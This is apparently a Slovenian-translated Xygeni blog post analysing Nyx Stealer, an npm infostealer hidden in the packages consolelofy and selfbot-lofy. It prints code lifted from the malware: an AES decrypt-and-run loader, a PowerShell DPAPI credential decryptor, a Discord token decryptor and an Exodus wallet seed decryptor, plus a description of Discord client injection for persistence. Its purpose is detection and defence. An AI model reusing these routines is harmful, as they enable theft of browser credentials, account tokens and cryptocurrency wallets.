npm kradljiva informacija

Novo odkritje npm Infostealerja: Nyx ​​Stealer ugrabi Discord seje

TL; DR

Raziskovalna ekipa za varnost Xygeni odkril sofisticirano kampanjo kraje informacij npm, ki se je izvajala prek dveh zlonamernih paketov: konzolelofy in selfbot-lofy.

Najnovejša različica (consolelofy@1.3.0) vdela 216KB AES-šifriran koristni tovor, ki se dešifrira med izvajanjem in izvaja prek vm.runInNewContext()Ker je zlonamerna logika v celoti šifrirana, statični skenerji, ki se zanašajo na pregled nizov, ne morejo opazovati njenega vedenja do časa izvajanja.

Ko je koristni tovor dešifriran, interno označen Nyxova kradljivka, cilji:

  • Žetoni za preverjanje pristnosti Discord
  • Več kot 50 shramb poverilnic brskalnika
  • Več kot 90 razširitev za kriptovalutne denarnice
  • Seje na Robloxu, Instagramu, Spotifyju, Steamu, Telegramu in TikToku
  • Vztrajnost odjemalca Discord za namizne računalnike

Prijavljenih je bilo vseh 20 različic v obeh paketih in potrjeno je bilo, da so zlonamerne.

Tehnični pregled tega npm Infostealerja

Za razliko od tradicionalne zlonamerne programske opreme, ki se namesti ob času namestitve, se ta kampanja zanaša na runtime model dešifriranja.

Obstajajo:

  • Brez zlonamernega preinstall or postinstall hooks
  • Brez očitnih omrežnih klicev med namestitvijo
  • Brez logike zbiranja poverilnic v navadnem besedilu

Ko je modul uvožen, se aktivira koristni tovor. Celotno zlonamerno telo je šifrirano in se v pomnilniku materializira šele med izvajanjem.

Ta zasnova se posebej izogiba zaznavanju med namestitvijo paketa.

Kako se ta npm Infostealer dejansko izvaja

Preden analiziramo, kaj Nyx Stealer krade, moramo razumeti kako se izvaja.

Zlonamerna logika znotraj tega npm infostealerja sledi doslednemu vzorcu:

Majhen nalagalnik dešifrira velik šifriran koristni tovor in ga dinamično izvede znotraj konteksta virtualnega stroja Node.js.

Ta zasnova je namerna. Napadalec ne skriva funkcionalnosti zgolj za zatemnitvijo, ampak popolna odstranitev zlonamerne kode iz statične vidnosti.

Model izvajanja na visoki ravni

Na visoki ravni ovojnica počne štiri stvari:

  • Iz trdo kodiranega gesla z uporabo SHA-256 izpelje ključ AES
  • Dešifrira veliko šestnajstiško kodirano šifrirano besedilo z uporabo AES-256-CBC
  • Izvede dešifriran JavaScript z uporabo vm.runInNewContext()
  • Zagotavlja peskovnik, ki še vedno razkriva zmogljive primitive izvajalnega okolja

Povzetek osnovne tehnike

Sestavina Konfiguracija / Vrednost
Algoritem AES-256-CBC
Izpeljava ključa SHA-256 (geslo)
Inicializacijski vektor (IV) 16 bajtov 0x00
Izvedba vm.runInNewContext(dešifrirano, peskovnik)

Ključno je, da peskovnik prehaja skozi:

  • require
  • process
  • Buffer
  • časa
  • izvoz modulov

To pomeni, da dešifrirani koristni tovor ohrani polno zmogljivost za:

  • Procesi drstenja
  • Branje in pisanje datotek
  • Opravljanje omrežnih klicev
  • Spremeni lokalne aplikacije

To ni omejeni virtualni stroj. Gre za virtualni stroj, ki se uporablja kot trampolin za izvajanje.

Vzorec šifriranja med izvajanjem (mehanizem izvajanja jedra)

Nakladalnik je majhen.
Zlonamerno telo ni.

Spodaj je vzorec izvajanja, ki ga najdete v paketu:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Zakaj to Matters

Dešifrirani koristni tovor:

  • Ali ne obstajajo v obliki navadnega besedila znotraj paketa npm
  • Je nevidno za preprosto grep ali statično skeniranje nizov
  • V pomnilniku se materializira le med izvajanjem
  • Izvaja se s polnimi zmogljivostmi izvajalnega okolja Node

Ta kombinacija izvajanja AES + VM je močan vedenjski kazalnik npm infostealer poskuša izogniti statičnemu pregledu.

Z drugimi besedami:

Če pregledate drevo izvorne kode paketov, ne vidite kradljivca.
Vidiš dešifrator.

Kaj se zgodi po dešifriranju

Ko se Nyx Stealer enkrat izvede, sproži vzporedne valove zbiranja podatkov.

1. val: Pridobivanje poverilnic brskalnika

Zlonamerna programska oprema:

  • Prenese izvajalno okolje Python iz NuGet CDN
  • Namesti kriptografske knjižnice
  • Izvleče shrambe poverilnic na osnovi Chromiuma
  • Dešifrira skrivnosti, zaščitene z DPAPI

Namesto prevajanja izvornih povezav uporablja PowerShell za neposreden klic Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Ta pristop:

  • Izogiba se artefaktom pri prevajanju
  • Uporablja izvorne kripto API-je za Windows
  • Združuje se z administrativnimi orodji

Gre za dešifriranje poverilnic na ravni operacijskega sistema, ne za strganje.

2. val: Dešifriranje žetonov Discord

Talec pozna protokol. Razume Discordovo šifrirano obliko žetonov.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Operativni tok:

  • Izvleček glavnega ključa iz Discorda Local State
  • Dešifriraj glavni ključ prek DPAPI-ja
  • Dešifriraj blobove žetonov AES-GCM
  • Preverjanje žetonov z Discord API-jem
  • Obogatite z Nitro, značkami, podatki za obračunavanje

To ni generično izgubljanje poverilnic. Gre za ugrabitev seje, ki upošteva protokol.

3. val: Ciljanje denarnic za kriptovalute

NPM infostealer našteva:

  • Več kot 90 razširitev za denarnice brskalnika
  • 27 namiznih denarnic
  • Poti hladnih denarnic
  • Semenske datoteke Exodus

Primer poskusa dešifriranja semena:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Če je uspešno, je ogrožanje denarnice takojšnje in nepovratno.

To predstavlja vektor monetizacije kampanje z najvišjo vrednostjo.

Vztrajnost prek vbrizgavanja na namizje Discord

Po pridobitvi poverilnic Nyx Stealer poskuša ohraniti vztrajnost s spreminjanjem lokalnih Razpad odjemalec.

Ciljna:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operativno zaporedje

Kradljivalec informacij izvede naslednje korake:

  • Prekine izvajanje Discord procesov
  • Poišče nameščene različice Discorda (Stable, Canary, PTB)
  • Prepiše discord_desktop_core/index.js
  • Vbrizga logiko spletnega kavlja, ki jo nadzoruje napadalec
  • Ponovno zažene Discord

To zagotavlja, da bodo prihodnje seje Discorda samodejno puščale nove žetone za preverjanje pristnosti.

Pomembno je, da ta vztrajnost ni odvisna od načrtovanih opravil ali sprememb registra. Izkorišča spreminjanje kode na ravni aplikacije, kar je bolj prikrit pristop.

Tudi če je zlonamerni paket npm kasneje odstranjen, odjemalec Discord ostane ogrožen.

Tehnična primerjava: Legitimni Selfbot proti npm Infostealerju

Sestavina Legitimna knjižnica Nyx npm Infostealer
šifriranje Noben Popolnoma AES-šifriran koristni tovor
Izvajalni virtualni stroj Ni potrebna vm.runInNewContext izvedba
Dostop s poverilnicami Samo Discord API Brskalnik, denarnice, DPAPI
Zunanji prenosi Ne Izvajalno okolje Pythona prek NuGeta
Vztrajnost Ne Injekcija odjemalca Discord
Monetizacija Avtomatizacija botov Preprodaja poverilnic

Že sama plast šifriranja loči to kampanjo od tipičnega odprtokodnega forka.

Legitimen Discord selfbot nima razloga za šifriranje celotne kodne baze, zaganjanje PowerShella za dostop do DPAPI, prenos zunanjih izvajalnih okolij ali spreminjanje notranjosti namiznih aplikacij. Ko se te zmogljivosti pojavijo znotraj odvisnosti, ki naj bi avtomatizirala interakcije Discorda, arhitekturnega neskladja ni mogoče prezreti.

Z vidika preiskave ta npm infostealer pušča sledi na več plasteh. Vendar pa najbolj zanesljivi kazalniki niso trdo kodirani URL-ji ali specifične poti do datotek, saj se ti lahko med različicami spreminjajo. Namesto tega so trajni signali strukturni.

Na ravni paketa je najmočnejši opozorilni znak kombinacija velikega šifriranega koristnega tovora in ovoja za dešifriranje med izvajanjem, ki se takoj izvede prek vm.runInNewContext()Čeprav šifriranje samo po sebi ni zlonamerno, je uporaba dešifriranja AES, ki mu sledi dinamično izvajanje na virtualnem stroju znotraj paketa pripomočkov Discord, zelo nenavadna.

Na ravni gostitelja sumljivi vzorci vključujejo nepričakovano aktivnost dešifriranja DPAPI, zagon procesov iz konteksta odvisnosti Node.js in spreminjanje lokalnih datotek aplikacij, ki jih knjižnice tretjih oseb nikoli ne bi smele spreminjati. Podobno na omrežni ravni predstavlja odhodna komunikacija v slogu spletnega kavlja, ki jo sproži razvojna odvisnost, še eno pomembno anomalijo.

Z drugimi besedami, površina zaznavanja ni posamezen kazalnik kompromitacije. Grožnjo razkriva korelacija šifriranja, izvajanja med izvajanjem, dostopa do poverilnic in obstojnosti.

Zaznavanje in blaženje z Xygeni

npm kradljiva informacija

Ta npm infotealer je bil prepoznan s strani Xygenijev sistem za zgodnje opozarjanje na zlonamerno programsko opremo (MEW) s pomočjo večplastne vedenjske korelacije in ne s preprostim ujemanjem podpisov.

Namesto iskanja znanih zlonamernih nizov MEW ocenjuje strukturne anomalije v celotnem drevesu izvorne kode. V tem primeru je zaznavanje izhajalo iz konvergence več signalov: vgrajene rutine za dešifriranje AES v vstopni točki modula, takojšnjega izvajanja znotraj konteksta virtualnega stroja in očitnega neskladja med zmogljivostjo in namenom.

Pomembno je, da nobeden od teh signalov sam po sebi ne dokazuje zlonamernega namena. Vendar pa pri skupni analizi razkrijejo poskus prikrivanja vedenja med izvajanjem. Ta večplastni pristop znatno zmanjša lažno pozitivne rezultate, hkrati pa prepozna visoko zanesljive grožnje dobavni verigi.

Poleg tega ta primer ponazarja, zakaj sam pregled ob namestitvi ni zadosten. Zlonamerna logika se ne nahaja v skriptih življenjskega cikla. Aktivira se šele po nalaganju modula in postane vidna šele, ko je dešifriran v pomnilniku. Zato učinkovita obramba zahteva analizo, ki se zaveda šifriranja, prepoznavanje vedenjskih vzorcev in nenehno spremljanje odvisnosti tudi po namestitvi.

Odstranjevanje registra je reaktivno. Analiza, ki upošteva izvajanje, je preventivna.

Zakaj je ta npm kradljiva informacija pomembna

Nyx Stealer predstavlja strukturni razvoj zlonamerne programske opreme, ki temelji na npm.

V preteklosti so se številni zlonamerni paketi zanašali na vidne skripte ob namestitvi ali očitne končne točke za krajo poverilnic. Nasprotno pa ta kampanja šifrira svoj koristni tovor, preloži izvajanje na čas izvajanja, izkorišča legitimne API-je operacijskega sistema in vzpostavlja obstojnost znotraj zaupanja vrednih aplikacij.

Posledično napadalcu ni treba izkoristiti same infrastrukture npm. Namesto tega napad uspe, ker namestitev odvisnosti implicira zaupanje. Razvijalci domnevajo, da je uvoz knjižnice varna operacija, zlasti če se predstavi kot verjeten odcep priljubljenega orodja.

Ker ekosistemi še naprej rastejo in se razvejitve množijo, ta implicitna meja zaupanja postaja vse bolj privlačna površina za napad. Zato obramba pred sodobnimi kradljivci informacij o npm zahteva prepoznavanje arhitekturnih vzorcev in ne iskanje statičnih nizov.

Navsezadnje ta kampanja utrjuje ključno lekcijo v software supply chain securityNajnevarnejše grožnje niso tiste, ki so na prvi pogled videti zlonamerne, temveč tiste, ki se zdijo strukturno legitimne, dokler izvajanje ne razkrije njihovega pravega vedenja.

orodja-za-analizo-sestave-programske-programske-orodja-sca
Določite prednostne naloge, odpravite in zavarujte tveganja programske opreme
Pridobite svoj brezplačni račun.
Ni potrebna kreditna kartica.

Zagotovite si razvoj in dostavo programske opreme

z Xygeni Product Suite